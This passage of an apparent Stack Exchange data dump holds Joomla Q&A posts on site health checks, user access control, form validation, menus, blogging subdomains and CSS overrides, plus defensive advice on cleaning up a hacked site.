backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are running backups regularly using Akeeba Backup or similar and copying backup files off-site, you can probably delete most of the the old backup files. I tend to keep the latest backup file on the server in case a quick restore needs to be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Users -&amp;gt; Manage&lt;/code&gt;, check for suspicious Administrator accounts and consider deleting unused accounts over a year old or so. The &quot;System - Admin Tools&quot; plugin in Akeeba Admin Tools Pro can automate the deletion of inactive accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many hacked websites are not obviously hacked and it is prudent to periodically scan your website for malware rather than waiting for your hosting company or Google to find malware which can result in a suspended hosting account and/or a search engine ranking penalty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use and recommend &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com) although there are other services such as &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;sucuri.net&lt;/a&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File and Folder Permissions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that the files and folders (except maybe &lt;code&gt;configuration.php&lt;/code&gt;) in &lt;code&gt;System -&amp;gt; System Information -&amp;gt; Folder Permissions&lt;/code&gt; are all writeable. Sometimes your hosting company will move your account to another location and upset the path to the tmp and logs folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP Version&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;System -&amp;gt; System Information -&amp;gt; System Information -&amp;gt; PHP Version&lt;/code&gt; check the PHP version your website is running on is still suitable. Consider updating to a &lt;a href=&quot;https://php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;supported version&lt;/a&gt; if your version is &lt;a href=&quot;https://php.net/eol.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;not supported&lt;/a&gt; any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good web host will allow you to select a supported version of PHP in the hosting control panel or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Copyright Notice&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the copyright notice year is still appropriate. Some websites may need to be updated manually at the beginning of each year.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:39:54.860" LastActivityDate="2019-09-07T08:39:54.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15014" PostTypeId="1" CreationDate="2016-01-20T01:31:55.177" Score="1" ViewCount="1278" Body="&lt;p&gt;Im looking to allow users to post information on a page. I understand I can give them author rights but I only want them to be able to edit and post content on the 'Submit' page and not the other pages such as 'Home' and 'Terms'. Is there a plugin or method to do this. Any help is much appreciated, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7416" LastActivityDate="2018-06-05T10:19:30.490" Title="Allow registered users post content or articles - Joomla 3" Tags="|joomla-3.x|articles|user|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15015" PostTypeId="2" ParentId="15014" CreationDate="2016-01-20T04:00:17.717" Score="0" Body="&lt;p&gt;No plugin is needed! Your best option is to assign the Home and Terms navigation links to single articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then assign other menu items to display specific categories that you've chosen, which your users will then have the option of selecting from. When they categorize their article, it will display on the appropriate page since that page is set up to list all articles within a category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I realized I misread your question. You can change editing permissions by assigning editing permissions on a per-category basis on the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a link to your user menu that takes users to the article submission form, which ships with Joomla, and make sure that user permissions are set for all of your categories. &lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2016-01-20T04:00:17.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15016" PostTypeId="2" ParentId="15014" CreationDate="2016-01-20T05:30:39.860" Score="3" Body="&lt;p&gt;As far as I understand you want to give different access to different different menus. For this,in Joomla, we use &lt;strong&gt;ACL (Access Control List)&lt;/strong&gt; and you don't need to use any plugin or extension. Refer the link below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can give different authorities to different users. Please have a look in the following example as well:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open 'Submit' menu item in &lt;code&gt;Menu Manager &amp;gt; Submit&lt;/code&gt;: In the right sidebar, you will find an option &lt;code&gt;Access&lt;/code&gt; , set it to &lt;code&gt;Guest&lt;/code&gt;. By doing this, you allow only the guest users to view the submit page . &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Guest users are those users who are visitors of our website.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;For &lt;code&gt;Home&lt;/code&gt; and &lt;code&gt;Terms&lt;/code&gt;, set the &lt;code&gt;Access option&lt;/code&gt; to &lt;code&gt;Registered&lt;/code&gt;. By doing this, only the registered users will see these menu items. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;IN this way, you can easily restrict different users accessing different menus/pages on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-01-20T05:30:39.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15017" PostTypeId="2" ParentId="15006" CreationDate="2016-01-20T05:40:46.497" Score="2" Body="&lt;p&gt;It is important to note that there are three different views for articles as Joomla understands them. &quot;Featured&quot;, &quot;Category&quot;, and &quot;Article&quot;, where the later is where you want your module viewed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll want to do is download the NoNumber Advanced Module Manager, which gives you significantly more options for setting module assignments, and you can find it right on the JED. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that is installed on Joomla, you can edit the modules in question and go to the &quot;Assignments&quot; tab. From here, select &quot;Any&quot; from the matching method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, scroll down until you see &quot;Joomla! Content&quot; and select &quot;Include&quot; for the &quot;Categories&quot; option. Select all the categories that hold the articles you wish to apply the modules to, and then be sure that only the &quot;Articles&quot; page type checkbox is selected. Save and close this module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any additional modules you wish to be displayed in the same manner, go into this same editing page and select &quot;Yes&quot; for the &quot;Same as other module&quot; selection at the top. Then, from the drop down, select the first module you applied the parameters to. Then repeat the process for each module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2016-01-20T05:40:46.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15019" PostTypeId="1" AcceptedAnswerId="15026" CreationDate="2016-01-20T11:03:47.333" Score="0" ViewCount="31" Body="&lt;p&gt;I'm building a component that will be kind of big, and I'd like to separate my internationalization keys into more than one file per language in order to organize them better. Is that possible in Joomla 3.4?&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2016-01-21T02:45:17.827" Title="Is there the possibility to have more than one .ini file per language" Tags="|joomla-3.x|language|custom-component|translation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15020" PostTypeId="1" AcceptedAnswerId="15021" CreationDate="2016-01-20T11:49:05.800" Score="1" ViewCount="376" Body="&lt;p&gt;I have a user registration form made with ChronoForms. How do I make a password confirmation field?&lt;/p&gt;&#xA;" OwnerUserId="7639" LastEditorUserId="120" LastEditDate="2016-01-20T12:42:27.393" LastActivityDate="2016-01-21T03:14:12.533" Title="How to make a confirm password field?" Tags="|chronoforms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15021" PostTypeId="2" ParentId="15020" CreationDate="2016-01-20T12:48:00.077" Score="6" Body="&lt;p&gt;In ChronoForms version 5, create two fields such as &quot;Password&quot; and &quot;Retype Password&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &quot;Designer&quot; tab, edit the &quot;Retype Password&quot; field, click on the &quot;Validation&quot; tab and enter the other field name i.e. &quot;Password&quot; in the &quot;Confirm&quot; field where the tool tip says, &quot;Used to validate the value of this field against the value of another, enter the other field's ID&quot; (see image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Validation will then be handled automatically for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier versions of ChronoForms do not have this feature and need to be custom coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z3wqK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z3wqK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-01-21T03:14:12.533" LastActivityDate="2016-01-21T03:14:12.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15022" PostTypeId="2" ParentId="15006" CreationDate="2016-01-20T16:01:43.617" Score="0" Body="&lt;p&gt;You can try create a direct link to this article in some &quot;hide menu&quot; or some menu was unpublished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can assign your module to this item menu only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this tip you dont need any other plugin ir module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-20T16:01:43.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15024" PostTypeId="1" CreationDate="2016-01-20T20:50:49.033" Score="0" ViewCount="95" Body="&lt;p&gt;I am creating a new website (GoDaddy/Joomla 3.4).  Menu pills are working (Home button is displayed and working).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to add additional menu pills (e.x. 'About Us', 'Contact Us')?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I don't think this is critical data - I am using the 'protostar' template.]&lt;/p&gt;&#xA;" OwnerUserId="7649" LastEditorUserId="7649" LastEditDate="2016-01-20T20:57:47.290" LastActivityDate="2016-01-21T02:10:46.987" Title="Menu Pills on Joomla 3.4" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15025" PostTypeId="2" ParentId="15024" CreationDate="2016-01-21T02:10:46.987" Score="1" Body="&lt;p&gt;After some digging around on the internet and finding nothing of any real help, decided to experiment on site - discovered solution by accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a new article (the content that will be tied to the new menu button).  For me, this was going to an existing article, saving it as a copy and editing the copy - then changing the Title to what I wanted.&#xA;2) Similar to step 1, I went to menus, opened an existing menu item, saved as copy.  Then I changed the Title, changed the article it was linked to, saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I swapped tabs back to the wep-page and reloaded it (ctrl+f5), new menu button appeared...along with the link to take it to the new page.  DONE&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2016-01-21T02:10:46.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15026" PostTypeId="2" ParentId="15019" CreationDate="2016-01-21T02:45:17.827" Score="1" Body="&lt;p&gt;If you manually load the language files, you could do it.  But Joomla itself won't automatically support this, and truthfully there is no benefit to it beyond personal preference (the code that loads and parses the INI files is already pretty well optimized with Joomla 3.5 is getting some additional performance enhancements).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-01-21T02:45:17.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15027" PostTypeId="1" AcceptedAnswerId="15028" CreationDate="2016-01-21T04:12:44.590" Score="5" ViewCount="1036" Body="&lt;p&gt;My Joomla 3 site was recently hacked. Browsing to it with a common web browser works fine, but when you switch the user agent to a web crawler, it displays a spam page. How do I track down where the code is that does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced index.php in the root with a test page and the test page appears. When I replace index.php in the root of a template, the spam page appears when using a web crawler user agent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1656" LastActivityDate="2019-09-07T09:03:04.583" Title="Trying to Fix Hacked Site" Tags="|security|redirect|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15028" PostTypeId="2" ParentId="15027" CreationDate="2016-01-21T04:56:04.740" Score="3" Body="&lt;p&gt;The best method to check the hacked website is to scan the malware using this link : &lt;a href=&quot;https://sitecheck.sucuri.net/&quot; rel=&quot;nofollow&quot;&gt;https://sitecheck.sucuri.net/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, all the malware content will be loaded and you can easily back track them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter your website URL in 'Scan your website' textbox and hit the scan button. Check for the results accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know further if it helps.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-01-21T04:56:04.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15029" PostTypeId="1" AcceptedAnswerId="15035" CreationDate="2016-01-21T05:10:12.360" Score="0" ViewCount="48" Body="&lt;p&gt;I am sometimes asked to adopt orphaned Joomla websites when the original service provider is no longer able or available to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps should I include in a health check before agreeing to take on this responsibility?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-21T13:51:37.907" Title="What steps shoud I include in a health check on an existing Joomla website I am being asked to look after?" Tags="|best-practices|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15030" PostTypeId="2" ParentId="15027" CreationDate="2016-01-21T10:39:01.253" Score="4" Body="&lt;p&gt;I had to face this problem recently. &#xA;In most cases I saw the libraries folder hacked and I had to replace it with a clean one to see my website correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what you can do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;put on the root this &lt;a href=&quot;https://github.com/mikestowe/Malicious-Code-Scanner/blob/master/phpMalCodeScanner.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mikestowe/Malicious-Code-Scanner/blob/master/phpMalCodeScanner.php&lt;/a&gt; , don't forget to put your email address. Then wait for the email listing all malicious files (be carefull deleting them, create a backup)&lt;/li&gt;&#xA;&lt;li&gt;Secure some folder through your htaccess file preventing the execution of php scripts (or shell), more info here: &lt;a href=&quot;https://www.gavick.com/documentation/joomla/how-to-secure-your-joomla-3-1-site-against-hacker-attacks&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/joomla/how-to-secure-your-joomla-3-1-site-against-hacker-attacks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install Marco's SQL injection plugin, it works great! &lt;/li&gt;&#xA;&lt;li&gt;sure, update your joomla to latest version, same for extensions. Don't forget to backup all&lt;/li&gt;&#xA;&lt;li&gt;Check directory and file permissions &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps,&#xA;Marco&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I wrote an article here for more details &lt;a href=&quot;http://goo.gl/47VTwn&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/47VTwn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7651" LastEditorUserId="7651" LastEditDate="2016-01-25T16:12:05.517" LastActivityDate="2016-01-25T16:12:05.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15031" PostTypeId="2" ParentId="15012" CreationDate="2016-01-21T10:51:55.097" Score="1" Body="&lt;p&gt;There is no such a thing as Virtuemart 3.4.5. Latest version of it is 3.0.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VM does have a built-in view (menu type Virtuemart | Category Layout) to list all products in some category, and you just choose Top Level Category to list all products in all children cats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also bunch of other options in that view to adjust to your liking.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-01-21T10:51:55.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15032" PostTypeId="1" AcceptedAnswerId="15034" CreationDate="2016-01-21T12:56:46.523" Score="1" ViewCount="403" Body="&lt;p&gt;I am searching for an extension for blogging. What I want is something like joomla.org with subdomains for each blog, like myblog.joomla.com .&#xA;I found easyblog, but it doesn't give for each blog a subdomain. Is there any blogging extension?&lt;/p&gt;&#xA;" OwnerUserId="7654" LastEditorUserId="126" LastEditDate="2016-01-21T15:02:16.160" LastActivityDate="2018-08-18T15:42:35.320" Title="Extension for blogging with subdomain like joomla.org" Tags="|joomla-3.x|joomla-2.5|component|extensions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15033" PostTypeId="2" ParentId="255" CreationDate="2016-01-21T13:05:01.880" Score="0" Body="&lt;p&gt;Here is the simple template overrides. You can to it with very simple steps. Just do follow the Read Me :)&#xA;&lt;a href=&quot;https://github.com/rakeshmali/joomla-bootstrap-v3-template&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rakeshmali/joomla-bootstrap-v3-template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If found any issues just file it there you will definitely got the solution in that.&lt;/p&gt;&#xA;" OwnerUserId="7655" LastActivityDate="2016-01-21T13:05:01.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15034" PostTypeId="2" ParentId="15032" CreationDate="2016-01-21T13:41:22.843" Score="3" Body="&lt;p&gt;Easyblog is a good extension, you can use it. The problem of the subdomain is not something that you can manage from the blog extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 2 options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create aliases subdomain, for example blog1.joomlasite.com, blog2.joomlasite.com... &#xA;Then install VirtualDomain extension, it will help you to manage your subdomains: &lt;a href=&quot;http://extensions.joomla.org/extension/virtual-domains&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/virtual-domains&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;create subdomains and set up them with a dedicated joomla installation and its own easyblog extension. But it's not a good solution because users will need to register on both site/blog&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;First option is the best one in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="7651" LastActivityDate="2016-01-21T13:41:22.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15035" PostTypeId="2" ParentId="15029" CreationDate="2016-01-21T13:51:37.907" Score="2" Body="&lt;p&gt;This is a risk when you don't know how the previous programmer developed the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all check all extensions installed and if they are updated.&#xA;If not, check if the extension has an available update and it's still supported... alternatively look for a similar extension to switch with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check also the template version (responsive?) and if it contains lot of overrides... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you should adopt the website only if the owner understand that the website must be kept updated and it could require spending something on upgrading or buying new extension.&lt;/p&gt;&#xA;" OwnerUserId="7651" LastActivityDate="2016-01-21T13:51:37.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15036" PostTypeId="2" ParentId="4133" CreationDate="2016-01-21T14:04:03.147" Score="0" Body="&lt;p&gt;Keeping the standard joomla media manager and the way you add intro and full article image, you can use an administrator module, MK Dropzone, with a dropzone area to upload and resize images creating different size from your single image: small, medium and large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a paid solution but works great&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/mk-dropzone-upload-and-resize-images-for-joomla/11668771&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://codecanyon.net/item/mk-dropzone-upload-and-resize-images-for-joomla/11668771&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Ol5Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ol5Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7651" LastActivityDate="2016-01-21T14:04:03.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15037" PostTypeId="2" ParentId="15032" CreationDate="2016-01-21T15:07:41.070" Score="2" Body="&lt;p&gt;It's kind of unclear what you want to do... but yet I what I understand is that you want to be able to create new sites/blog instances from the same Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look at this question here about multi-sites management:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2489/multiple-website-managment-with-joomla/&quot;&gt;Multiple website managment with Joomla?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this question &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/496/how-can-i-create-a-menu-item-on-a-different-subdomain/&quot;&gt;How can I create a menu item on a different subdomain?&lt;/a&gt;&lt;/strong&gt; suggest a method to create link menu items as being subdomains ... But at the end it depends on the size of your project if multiple subdomains blog would be efficient to be managed under 1 single Joomla db instance.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-01-21T15:07:41.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15038" PostTypeId="2" ParentId="14670" CreationDate="2016-01-21T15:27:04.287" Score="3" Body="&lt;p&gt;I am coming back here to post an alternative suggestion, after I came across an extension that could help with site changes, updates, modification, including template change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension is called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/stageit&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;StageIt&lt;/strong&gt;&lt;/a&gt; and what it does is adding staging capabilities to Joomla. So with this extension you can create/sync a development environment right from within your Joomla site, and start applying any change, without those changes being 'live' until you're completely ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When ready you can sync back and make the switch publishing the changes to live. StageIt is also taking care of backups at the moment of sync, so if anything won't go as expected, you can switch back.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-21T15:27:04.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15039" PostTypeId="1" AcceptedAnswerId="15209" CreationDate="2016-01-21T15:38:48.467" Score="0" ViewCount="143" Body="&lt;p&gt;In my Joomla system there is an access level that grants permission to an area of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This access level is granted to several different user groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In plugin code, I am at a position where I know that a user has been granted the access level, but I now need to know which of those groups he is a member of in order to have been granted it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to query for this?&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="5618" LastEditDate="2016-01-22T09:06:00.673" LastActivityDate="2016-02-05T18:54:34.493" Title="Find the link from access level back to user's usergroup" Tags="|user|acl|user-groups|permissions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15041" PostTypeId="1" CreationDate="2016-01-22T00:21:07.277" Score="1" ViewCount="89" Body="&lt;p&gt;We are running Joomla 3.4.8 on Windows Server 2012. After an update to update Smart Slider was tried, the whole site went blank. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to restore a Joomla site if an extension update like Smart Slider fails?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What permissions does Joomla 3.4.8 need to run on Windows server 2012?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2016-01-22T07:58:47.363" Title="Joomla 3.4.8 webite not loading after trying to update Smart Slider" Tags="|joomla-3.x|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15042" PostTypeId="2" ParentId="7333" CreationDate="2016-01-22T01:27:00.170" Score="2" Body="&lt;p&gt;I went through a similar process with separate menus for each website but found this was hard to manage and did not work well for several reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Virtual Domains now has a menu filtering option where you can have one main menu and choose which menu options are associated with each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Virtual Domains also enables you to specify a home menu item for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, this seems to work much better and is easier to manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu filtering works with multiple menus, if needed. I find it useful to prefix menu names with a code for each website to help remind me which menus apply to each website. (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0b3bJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0b3bJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-01-22T01:55:43.503" LastActivityDate="2016-01-22T01:55:43.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15043" PostTypeId="2" ParentId="9086" CreationDate="2016-01-22T02:15:36.033" Score="1" Body="&lt;p&gt;You are probably looking for a CCK extension and there are plenty of free and paid options available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/category/authoring-a-content/content-construction&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/category/authoring-a-content/content-construction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A forms extension such (e.g. ChronoForms) may work equally well in this case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/category/contacts-and-feedback/forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Fields will be added to Joomla in version 3.7 which is due for imminent release.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-04-03T13:22:16.857" LastActivityDate="2017-04-03T13:22:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15044" PostTypeId="2" ParentId="7033" CreationDate="2016-01-22T03:09:07.287" Score="0" Body="&lt;p&gt;The quickest way to implement a non-standard column width in Gantry is to override the CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, two columns have been defined in #rt-top and set to a 4:8 ratio in the template settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in a 33.3333% column width for &quot;rt-grid-4&quot; and a 66.6667% column width for &quot;rt-grid-8&quot; in the CSS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jKlCv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKlCv.png&quot; alt=&quot;firebug&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: Use Firebug or similar to work out the appropriate CSS selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Column widths can be overridden in the custom CSS file. Create or edit the file at &lt;code&gt;/templates/rt_[template-name]/css/rt_[template-name]-custom.css&lt;/code&gt; and add code like the following or similar, specifying whatever percentage widths you like. As per the example below, you can include media queries to limit the override to certain screen widths or vary the percentages on different screen widths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 768px) {&#xA;  #rt-top .rt-grid-4 {&#xA;    flex-basis: 10%&#xA;  }&#xA;  #rt-top .rt-grid-8 {&#xA;    flex-basis: 90%&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-22T03:09:07.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
